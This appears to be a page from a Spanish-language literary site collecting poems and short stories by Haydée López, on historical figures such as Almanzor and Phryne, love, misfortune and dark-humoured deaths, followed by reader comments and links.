el puente a las turbulentas aguas..........Me cobijaste en tus brazos y con fuerza me apretabas y me llenabas de besos. Yo creía que soñaba...y tu joven compañera, con extrañeza miraba... -Ella es mi hermana menor, recién llegada de Francia-El corazón, estalló dentro de mi blusa blanca y los tres nos abrazamos... Hoy tenemos nuestra casa, llena de árboles y flores, de enredaderas y plantas, de perfumes de colores y avecillas que nos cantan. Haydée López10/ 03/ 2017, año de "la maldición continúa" Corrián los años de la ocupación de España por los moros. En el califato de Córdoba, a orillas del Guadalquivir, un grupo de jóvenes estudiantes, bromeaban y reían de las ocurrencias del más audaz de ellos, Mohamed ben-Abi- Amir. El muchacho, les propuso que cuando llegara a primer ministro, les otorgaría los cargos que deseasen. Uno de ellos, se resistió a la propuesta y lo desafió, a que llegado el momento lo sentenciase al tormento más espantoso. Sin imaginar que todo se cumpliría, hasta la misma condena. El audaz, de humilde origen y empleos sin relevancia, con el tiempo y a medida que iban cumpliéndose sus objetivos, cambió su nombre por el de Almanzor y pasó a ser administrador del heredero del califato. Con intrigas y otras malas artes, fue introduciéndose en las esferas del poder. Su inteligencia y osadía, le impulsaron a prepararse militarmente para la guerra. En Marruecos, debutó y encontró la ocasión propicia. Su desempeño fue excelente y despertó el interés de los príncipes africanos, de gran ayuda para sus proyectos futuros. A su regreso a Córdoba, conoció a Ashma, hija del general en jefe del ejército, con quien se casó, poco después, se hizo nombrar primer ministro. Creó su propio ejército de mercenarios y sometió con crueldad a quienes se oponían a sus designios. Se hizo llamar Al -Mansur bi´llah ( el victorioso con la ayuda de Alä) Arrasó todo al paso de su ejército, Soria, Zamora, Avila, Cáceres, León, Barcelona. Su poder se acrecentaba a fuerza de crímenes, mentiras y delaciones. Impuso un régimen de terror y muerte que aumentaba cada día, mientras el territorio cristiano se reducía. La última expedición se frustró al caer enfermo. Logró llegar a Medinaceli, donde murió. En las crónicas castellanas de ese tiempo se lee: EN EL AÑO 1002 MURIÓ ALMANZOR Y FUE SEPULTADO EN LOS INFIERNOS. Si no quieres escuchar, lo que ahora voy a decirte,puedes dejarme plantada, que no vas a arrepentirte.Seguro que no te importa, lo que pienso yo de ti.Tal vez te puse muy alto, o esperé mucho y perdí.Igual, yo no me arrepiento por haberte conocido.La vida, a veces pone, escollos en el camino,los que atentos los sortean, se libran de todo mallos confiados, como yo, creen que el otro, es igualy van ciegos tras sus pasos, sin siquiera calcular y como yo, torpe y necia, lo tendrán que lamentar.Asumo, lo que me toca. La culpa es mía, nomás.La ilusión, la creé yo, no te debes disculparsigue feliz tu camino, soy yo, quien debe cambiar. El artista la vió un día, en el mercado local. El peplo que la cubría, no conseguía ocultar la armonía de sus formas, ni la gracia de su andar. Friné, la famosa hetaira, al escultor impactó. Fascinado, tras sus pasos, sin dudar, le confesó, era ella a quien buscaba y por azar, la encontró. Su apasionado discurso, a la joven, conmovió. En el taller, despojada de todas sus vestiduras, del artista, los anhelos, se superan con holgura. Praxiteles, fascinado de esa belleza ideal que inspira sus creaciones y es ahora, amante formal. A las diosas del Olimpo, comienza a representar. En Atenas, todos hablan, con sincera admiración del escultor Praxiteles y la musa que lo inspiró. Al Senado van llegando denuncias y comentarios , El escándalo es creciente y ambos serán convocados. Acusada de impiedad, Friné va a ser sentenciada, por compararse a Afrodita, no podrá ser perdonada. Praxiteles busca ayuda, desespera de encontrarla, Es grave la situación Friné será ejecutada. Hipérides la defiende cuando va a ser sentenciada, Es el último recurso, y se juega a todo ó nada. Poco queda por perder, la suerte ya ha sido echada En medio de adustos jueces, con mano firme y resuelta, la despoja de su peplo que se desliza a sus plantas. Esa desnudez revela su incomparable belleza. Es la prueba irrefutable para declararla ABSUELTA. -¡No es posible tener tanta mala suerte! Se dijo, José, mientras arrojaba lo que debieron haber sido tostadas para su desayuno y se convirtió en carbón. No alcanzó a cerrar la perilla del quemador, la leche hirviente se derramó sobre la, poco antes, impecable superficie de su cocina. -¡No es posible tener tanta mala suerte! Se repitió , ya sin ánimo de desayunar y encaminándose, con fastidio, hacia la puerta de calle. Dio algunos pasos y allí estaba El. La tarotista, su vecina, se lo vaticinó. Había una persona que le envidiaba y le deseaba el mal, una fuerza negativa, poderosa enfocada en su persona para causarle problemas y posiblemente algo mucho más serio. El era un pordiosero que se estableció hacía unos meses muy cerca del edificio que habitaba José. Nadie sabía de dónde había salido. Cada vez que José iba a su negocio, estaba ahí, en el mismo lugar, cubiertas sus piernas con una manta escocesa. No recordaba que le hubiera respondido alguna vez al saludo, pero desde la primera vez, notó en su mirada, algo tortuoso y maléfico que taladraba su espalda cuando pasaba por el lugar. Una espantosa revelación, como un fogonazo, le confirmó que era él, sólo él la causa de todos los males que venía sufriendo desde hacía unos meses, el tiempo en que el maldito pordiosero se instaló para perjudicarlo. Supo que EL lo odiaba, era la reencarnación de alguien que en alguna otra vida dejó deudas pendientes con alguien de su misma sangre y ahora perseguía al único descendiente para cobrárselas. Sentado en un banco de la plaza, desmenuzó todo lo vivido esos últimos meses. No cabía duda. Había resuelto el porqué de tanta mala suerte. El paso a seguir era eliminar de raíz la causa. “Muerto el perro, se acaba la rabia” Todo se resolvió la misma noche. Nunca hubiera imaginado que sería tan sencillo. Se complació en revivir los últimos minutos del maldito. Sus perversos ojos clavados en los suyos. La evidencia cabal de su culpabilidad, ni siquiera parpadeó. Le descerrajó dos tiros uno en cada órbita para que se llevara su maldición al propio infierno Al día siguiente se levantó tarde, avisó que no se sentía bien y se tomaría un descanso. Dispuesto a comenzar una etapa de serena felicidad , sin interferencias dañinas, dispuso pan para sus tostadas y a calentar, la leche para el desayuno. Corrió a atender el llamado. Escucho la voz algo gangosa del encargado: -Anoche mataron al indigente que dormía en el banco de piedra. ¡Le dispararon en los ojos al pobre ciego! ¡Ya no se puede vivir, Don José, no se puede.! El olor del pan quemado y de la leche derramada lo desalojan de su fugaz, serena felicidad. Se abría paso, la luna, entre nubes tormentosas,salían, ellos, del río, de las aguas rumorosas testigos de sus gemidos y sus febriles retozos. Sobre las finas arenas, de la playa, se tumbaron, extenuados de placer, sin ánimo de más gozos, colmados de sensaciones, turbadoras del reposo. Rechazó, ella su abrazo, él herido, se sintió. ¿Tan voluble, es la mujer, tan de repente, cambió, de pasión incontrolada al desdén abrumador? Se incorporó, despacito y de frente, así le habló: -Oyeme bien. No confundas. Amor, no sentí jamás. Nunca acepté compromisos y esta, no es la salvedad. Vinimos los dos al río y nadie, nos obligó. Volveré por mi camino y por el tuyo, lo harás, Fue muy hermoso tenerte, pero eso, se terminó. Y tenlo siempre presente, no me quieras encontrar. Desecha las intenciones, si se te ocurre indagar,.” Se cubrió con el pareo y en las sombras, se perdió. El sol comienza a insinuarse entre el follaje de los árboles, el cielo límpido y el aire primaveral, son razones, más que suficientes, para no quedarme en casa. Hoy dispongo de toda la mañana, aprovecharé el buen tiempo para caminar y disfrutarla. Me decido por una zona, no muy alejada del lugar en que vivo, pero mucho más próspera y elegante. Todo se ve perfecto, los jardines cuidados, las flores dispuestas en macizos, borduras, o macetas, en una variada y espectacular combinación de formas y colores. Los cercos prolijamente cortados, algunas glorietas cubiertas de rosas trepadoras, la naturaleza en todo su esplendor, disciplinada a la voluntad del hombre. Detrás de los parques, se levantan las residencias, algunas imponentes, modernas o clásicas, revelan la buena situación de sus propietarios. Me decido por esta. En la vereda, un banco de piedra, bajo la sombra de un añoso jacarandá, me invita a hacer un alto. La sólida reja que la protege, remata en el portón de diseño artesanal, de importante factura y dimensión. Detrás del prado, de un verde luminoso, se destaca la fachada, blanca, impecable. La puerta, doble, flanqueada por columnas cuyos capiteles sostienen el balcón central del piso superior donde tres grandes ventanales mantienen sus persianas cerradas. La espléndida mañana, realza la belleza y el encanto silencioso del lugar. Noto con cierta extrañeza la ausencia de sonidos familiares, voces, música, risas, lo que me lleva a pensar en los privilegiados seres, que habitan este paraíso. ¿Habrá niños que correteen por el césped? ¿Tal vez, adolescentes, que se reúnan con sus amigos para disfrutarlo? y los adultos... ¿Cómo serán sus veladas? Imagino una de esas noches de fiesta... la mansión iluminada, los autos que traen gente glamorosa, elegante...... la cena y luego bailarines que giran al compás de las melodías en el gran salón de la planta baja. No quiero arruinar este maravilloso momento con pensamientos negativos. Hago lo imposible para desalentar una inconfesable punzada de envidia que me acomete. En mi familia, toda gente de trabajo, no conozco a ninguno que haya logrado una situación desahogada con el fruto de su esfuerzo. Las últimas generaciones, pasamos por la universidad y conseguimos con sacrificios y privaciones acceder a un título, lo que fue una satisfacción personal y familiar, pero sólo nos habilitó para ganar el sustento, criar y educar a los hijos y vivir sin mayores pretensiones. Tal vez, no somos buenos para emprender negocios, o no sabemos invertir nuestro capital, en el poco probable caso de tenerlo. Lo cierto es que ninguno heredó propiedades ni fortunas, que pudieran cambiar radicalmente su situación, como algunos, que atribuyen el origen de sus cuantiosos bienes a un fortuito e improbable legado. Los argentinos, desde siempre, soportamos postergaciones y privaciones. La iglesia, que siempre estuvo del lado de los poderosos, aconseja aceptarlas con resignación y para consuelo de necios nos dice: Es más fácil que un camello pase por el ojo de una aguja que un rico por las puertas del cielo. Debemos esperar a morir para gozar de la verdadera felicidad, que es despojada y es eterna. Mientras ese día llegue, veremos pasar la vida que otros disfrutan sin preocuparse de si van a pasar ó no por las dichosas puertas. Esa y otras cavilaciones ocupan mi pensamiento. No soy ambiciosa pero me haría feliz saber que mis hijos, pueden acceder, sin tener que hacer concesiones, a todas las posibilidades que ofrece la ciencia, la técnica y la información. Esos caminos que sólo están abiertos para algunos privilegiados, aunque deberían estarlo para todos, de esa forma cada uno podría encontrar el suyo. Por desgracia, no es así. Hay que poseer fortuna ó ser afortunado de tener un elevado coeficiente intelectual y una inquebrantable voluntad para no flaquear. . Es tiempo de regresar. Antes de irme, sería demasiada pretensión, de mi parte, ver a alguno de los felices seres, lo doy por descontado, que habitan este lugar de ensueño. Como respuesta a mi deseo, se abre la puerta principal. En una silla de ruedas, conducida por una enfermera, se balancea un cuerpo descarnado y macilento. La mirada triste y apagada, como pocas veces vi, recorre indiferente todo a su alrededor. Los huesos de las manos, trasparentes, sobresalen aferrados a los brazos de la silla. Físicamente deteriorado, es difícil atribuirle sexo y edad. Un lujoso coche importado, se estaciona junto al enfermo, el conductor baja y ayuda, con suma diligencia, a instalarlo en el asiento trasero. El rostro marchito y triste, sigue con su balanceo, cuando el auto pasa a mi lado, raudo, silencioso, impecable........ Haydée López Córdoba- R. A./ 68 líneas La anciana dama sonríe, recuerda el tiempo pasado,cuando a todos deslumbraba con su belleza y su garbo,Eran los años dorados de espléndida juventud,una corte la rodeaba y brindaba a su salud.Apasionados elogios, flores, libros y regalos,bellos poemas de amor, los requiebros más variados.Serenatas por la noche , invitaciones, saraos…Ella aceptaba sin ganas, ya se había acostumbradoa ser el centro y el eje y el sol de ese mundo vano.Su padre, rico banquero, en vías de serlo más,la prometió a un aristócrata que le doblaba la edadEn sus castillos de Praga, de Francia, en la Costa AzulÓ en su piso de Manhatan sus días transcurrirá,entre fiestas, agasajos, ceremonias y demás.Con la nobleza europea, más rancia, se codearán.El Derby, Mónaco, Ibiza, los van a ver frecuentar. Las revistas de Sociales, de ellos se van a ocuparcon fotos de sus andanzas, sus modelos y su hogar. El día del compromiso, todo estaba preparado, ella vió por su ventana a un joven, ocupadoen terminar las borduras de sus jardines amados. Bajó con curiosidad, al verlo tan concentrado,Levantó él la cabeza, cuando ella llegó a su lado.Lo que después ocurrió.. ¿lo contará la señora?que el día del compromiso, decidió cambiar su historia. Decidida a ser feliz, sin nadie que la interfiera, Volvió del diario trabajo, un atardecer cualquiera. Abrió la puerta de entrada y como siempre, encontró, ropas y cosas tiradas, por todo a su alrededor. En la bolsa de consorcio, todas las cosas volcó, Sin importarle del dueño, ni el uso que se les dió. Pasó luego a la cocina, dos bolsas necesitó para tirar las sartenes, los platos que alguien rompió, Vasos, tazas y cubiertos, que nunca nadie lavó. Siguió por el lavadero, baños, patios y demás Se sumaron otras bolsas que se propuso tirar. Justo un muchacho pasaba con un carrito a pedir Ella le dio una propina, él llevó todo, feliz. Estaba muriendo el día, terminaba de limpiar, En los pisos que brillaban, se podía uno, mirar Los espejos que quedaban reflejaban otro hogar. A aquel sórdido y mugroso ni lo pudo recordar. Feliz, cansada y contenta, se dispuso descansar, en el preciso momento que empezaron a llegar sus hijos, con los amigos, extrañados al mirar lo limpio y ordenadito y salieron a buscar las cosas que ya no estaban ni lograron encontrar. Aunque estaba muy cansada, no quiso disimular. Su enojo había alcanzado niveles sin superar con su bronca que afloraba, los amigos despachó y a los vagos de sus hijos con un cinto amenazó. fueron todos rapidito calladitos a dormir y antes de cerrar los ojos, se dijo: ¿Esto, será " Ser Feliz"? Aquel niño florentino y aquella bella ragazza, se cruzaron una vez. Como verdad revelada, él conservó esa visión, en lo profundo del alma. Tenía dieciocho años, cuando de nuevo la vió, La belleza de la joven, en el muchacho, encendió, para el resto de su historia, la llama del puro amor. Ella, Beatriz, él El Dante, il Sommo Poeta que amó, en la exaltación de su alma, hasta el día que murió. Hoy dejé a una querida amiga, en su última morada. Partió de este mundo cruel sola, sin llevarse nada. De ella podría decir, “Fue una consumada artista, Bella, elegante, animosa, un tanto perfeccionista". A todos sus pretendientes, les encontraba defectos. Uno a uno descartaba, en pos del “Hombre Perfecto” Se lo dije muchas veces, -Nunca lo vas a encontrar- Y murió, sin encontrarlo. Y la vida consumió en la búsqueda afanosa de una remota ilusión. Era muy voluntariosa, Jamás me quiso escuchar. Si aún por estos espacios, vaga su espíritu inquieto, seguro, lo va a aceptar. No existe el “Hombre Perfecto”. Esta mañana fue el entierro. Me cuesta entender ciertas cosas… aconsejan que no me torture y es inútil, mis pensamientos, vuelven a las imágenes de lo que me notificaron y paso de la sorpresa al espanto. Mi hermano, Luis, el occiso, siempre fue raro. De niños, no recuerdo que haya intervenido en ninguno de los juegos propios de la edad. Huraño y poco amistoso, yo no le tenía paciencia y nunca le insistí cuando nos invitaban a participar en algún evento y él se negaba a ir. Me acostumbré a prescindir de su compañía. Por esa época, al abuelo Manuel, le amputaron una pierna, por unas úlceras que se engangrenaron. Cuando volvió a su casa, papá nos llevó a visitarlo. Yo me quedé en un rincón, una angustia incontrolable me impedía acercarme. Por el contrario, Luis besó al abuelo y hasta se quedó cuando un enfermero llegó para las curaciones. De regreso, Luis, pidió que le dejaran cuidar al abuelo y entusiasmado, describió con detalles lo que había visto hacer al enfermero, mientras yo me esforzaba por no descomponerme dentro del auto. Papá, sorprendido con este cambio notable de su hijo menor, creyó que estaba destinado a la medicina y aceptó sin titubear. Luis, adolescente, se convirtió en el lazarillo del abuelo, acompañándolo a rehabilitación y a las sesiones donde los amputados tenían apoyo sicológico. El abuelo murió antes de que le amputaran la otra pierna y Luis, volvió a separarse del mundo y a sumirse en su antigua tristeza. Se hizo adicto a las redes sociales y pasaba las horas en vanas e interminables conversaciones. Ahora me entero que por estas redes, conoció a Gardenia. Esta chica que lo acompañaba en el momento de su deceso, ha cerrado el círculo con su detallado relato de los hechos. -Me contacté con Luis hace dos meses. Sentí que era una persona especial y esperaba ansiosa, el momento que dedicábamos al chat. Pasó un mes y decidí contarle la verdad sobre mi. Lo percibía sensible y en varias oportunidades pidió que nos encontráramos. Me negué por mis problemas físicos que nunca oculté porque existían y yo consideraba un impedimento serio para establecer una relación de pareja. Decidida a perderlo, una noche se lo dije, -“Tengo una pierna ortopédica por un accidente que sufrí hace cuatro años” El silencio que siguió me hizo pensar que la relación había llegado a su fin. Cerré todos los archivos y me fui a dormir agobiada pero tranquila. Varios días pasaron y encendí la compu para hacer un trabajo. Tenía mensajes de Luis diciendo que yo era su elegida y no me cambiaría por nada del mundo. Cada mensaje que abría, superaba en voltaje al anterior. Esa noche, temprano apenas entré al chat, estaba Luis esperando. Me confesó que para él, mi incapacidad era un aliciente, que lo transportaba al séptimo cielo. Sentí que mi obligación era decirle toda la verdad de mi condición física, para echar un balde de agua fría y dar por terminado el asunto.-Tengo un ojo de vidrio, consecuencia del mismo accidente donde perdí mi pierna- ¡Ya estaba.! Sentí una tranquilidad efímera, porque siguió bombardeándome con incondicional vehemencia hasta arrancarme la promesa de encontrarnos al siguiente día. No dormí esa noche y mil dudas me asaltaron. Llegó la hora y me costaba tenerme en pié aunque estaba acostumbrada a desplazarme con mi pierna ortopédica. Luis era como lo conocí por la Web cam. quizás más joven. En la habitación, me colmó de atenciones y solícito me ayudó a quitarme la pierna, algo que pensé obviar y que no fue necesario. Lejos de causarle impresión lo enardeció más de lo que imaginé. No quiero explayarme en detalles, pero lo que vivimos fue fantástico para los dos. Lo vi adormecido, coloqué mi prótesis y fui a asearme. Al regreso, Luis jadeaba, manoteaba y luego quedó rígido y de un color azulado. Desesperada pedí ayuda. Conmocionada, no entendía lo que estaba pasando ni atinaba a buscar algo que me faltaba. Ordenaron que me vistiera y todos me miraban con recelo. El forense dictaminó que Luis murió atragantado con un objeto extraño que le obstruyó las vías aéreas superiores y que probablemente, estaba en el vaso con agua que bebió y quedó sobre la cama. Llevé mi mano a la cavidad ocular y recordé que antes de nuestro encuentro amoroso, dejé, por precaución, mi ojo de vidrio en un vaso con agua. Hoy abrí de par en par, las puertas y las ventanas. Que entre a raudales el sol y el aire de la mañana. Necesito renovar la atmósfera que respiro, limpiarla de malas ondas y ahuyentar lo negativo. Ardientes rayos de sol, se quiebran en los espejos y ponen notas de luz en paredes y azulejos. Los caireles de cristal, en donde inciden los rayos multiplican resplandores y hay brillo descontrolado. Estoy algo enceguecida. Tras los párpados cerrados, percibo ardiente , la luz, que parece traspasarlos. Vuelvo a la normalidad, Recupero mi visión, El negro vuelve a ser negro y el color vuelve al color.
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Oscar Franco
http://www.textale.com/component/option,com_textupload/Itemid,128/id,43735/task,view_text/
Por favor difundelo si pudieses. gracias.
Pascual Vizcaino Ruiz
Alejandro
Es usted muy déspota en su comentario del texto indiferencia divina?, sobre todo si tenemos en cuenta que la autora deja claro que los desastres naturales son muy comunes y crea toda su reflexión acerca de cómo el ser humano pasa de su pregunta hacia un Dios al que considera responsable a la dolorosa conclusión que es su irresponsabilidad la que acelera los procesos llevándolos a desastres.
Bastante arbitraria resulta usted al decir… le “concedo responsabilidad al hombre” por favor señora si usted lee, ve televisión o se molesta en averiguar, se podrá encontrar con un cumulo de estudios e informes que demuestran como las acciones de la humanidad ha afectado el equilibrio natural que provocan desastres.
Parece ser que usted no se entero del objetivo de la reunión de presidentes de países en Copenhague... por favor señora antes de atacar o trata de ridiculizar a alguien primero analícelo, porque podría ser usted quien terminara haciendo el ridículo.
Alexandro
Oscar Franco
Te invito a leer y comentar alguno de mis poemas espero te gusten.
Un saludo y feiz años nuevo 2010.
www.somosgoogle.blogspot.com
www.oscarfrancoquintanilla.blogspot.com
Francisco Prez
Veneno
haydee
Seguro que van a sobrar las anécdotas y encontrarás un buen argumento para tus relatos.
Gracias!
Serena